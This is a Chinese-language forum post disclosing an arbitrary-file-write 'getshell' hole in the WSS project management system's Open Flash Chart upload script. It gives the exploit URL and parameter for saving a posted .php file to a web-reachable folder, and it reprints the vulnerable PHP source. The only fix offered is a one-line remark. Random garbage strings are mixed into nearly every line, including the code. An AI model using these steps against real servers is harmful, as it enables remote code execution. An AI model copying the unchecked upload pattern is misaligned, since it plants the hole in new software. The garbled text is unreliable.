WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
6 ?% o" t4 n0 S! O0 v3 G 漏洞文件/chart/php-ofc-library/ofc_upload_image.php

利用：
7 L1 z$ @# k( A/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

" {. ]1 J% ?7 M" z3 s0 }1 [Post任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php
0 P4 W* q/ \) t
% [) j1 K4 Z! Y4 F  u1 w2 s
$ I3 e- {' b" p2 z' J4 U最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
$ \; C0 V# P8 I$ `5 _0 l- n: L( h
<?php

//
) a$ c6 @7 w0 c' X5 j: a// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
4 B7 k1 S4 d5 S) t. b# }//
( p4 X6 ^- n& r9 F
/*
* l! V- s8 V5 R& y$ G) O
print_r( $_GET );
% `: c  Q$ @0 O0 J/ J) L2 n4 Qprint_r( $_POST );
print_r( $_FILES );
5 Z) d2 b. h; N6 D* l5 D5 d
$ p, E4 m; c* r+ J6 _' lprint_r( $GLOBALS );
5 I* C& _6 s- B" q% ]print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

4 q/ U- u$ P& a( g  I3 H; y*/
// default path for the image to be stored //
* i% F+ s3 K1 y5 ?, x$default_path = '../tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
9 `) R1 q- Q( ?4 f: }$ F
: [* Y4 [1 }: g3 N. I7 X3 ]echo 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
; ~% k5 `" _$ \& p$ ]" [/ T' I// echo $HTTP_RAW_POST_DATA;
7 P5 j# S$ m% i5 ^$ p8 c( F
8 `5 _! e* M4 R! \" `0 ~6 f4 r//
5 V' w% ~) f' Q2 I! ]; D! q// POST data is usually string data, but we are passing a RAW .png
; I* F7 I' ]$ f' X6 a6 C  F& A// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//
5 m- k, d, Z  _& Y7 ~, k
7 }: C, z8 w) d" f9 [) K' Z$jfh = fopen($destination, 'w') or die("can't open file");
) _0 e% p7 ]! _* u8 kfwrite($jfh, $HTTP_RAW_POST_DATA);
" ^& c& R( l$ Sfclose($jfh);

3 y$ Y* M2 u- a* H1 d//
  b+ w- P3 l% Y2 c" X6 n2 g, @// LOOK:
//
6 b4 X" B7 B- T4 G  e7 |9 J" @exit();
& _) h" p8 B- |3 c/ A/ g) t- }% p//
// PHP5:
0 B* u( |, g. z: Q, L! W//
0 E5 y4 x! I/ c

1 u$ t  |5 X) H' j3 ?9 F+ |+ b// default path for the image to be stored //
8 \" _/ Q2 h% X1 L* G- L- E* J$default_path = 'tmp-upload-images/';
5 g" y3 t" u# A% l; j: h' {3 B
' \* s. `- F: k3 O* `4 ]* Wif (!file_exists($default_path)) mkdir($default_path, 0777, true);

8 P+ ^" h. N, a- C; r; {/ U. ]; I// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

, N9 R) c: c: {- ]% Z' N: ^// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
$ _+ ^- ]3 B4 }+ ]( M1 c% A    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
2 k9 T; k. a5 F3 i  G    echo "FILE UPLOAD FAILED";
}


5 Y. t+ K3 w5 _) K' v3 w. V$ ~?>


  Y, h* I5 ^9 L5 V
; L6 d& V+ U" |$ u. y0 D  _


+ I5 y' e% C$ d: T0 Z5 p4 i/ T修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞


1 B* l8 A% r1 s+ _9 h, q. k

, Q+ t8 _- O  _* [0 q1 e1 I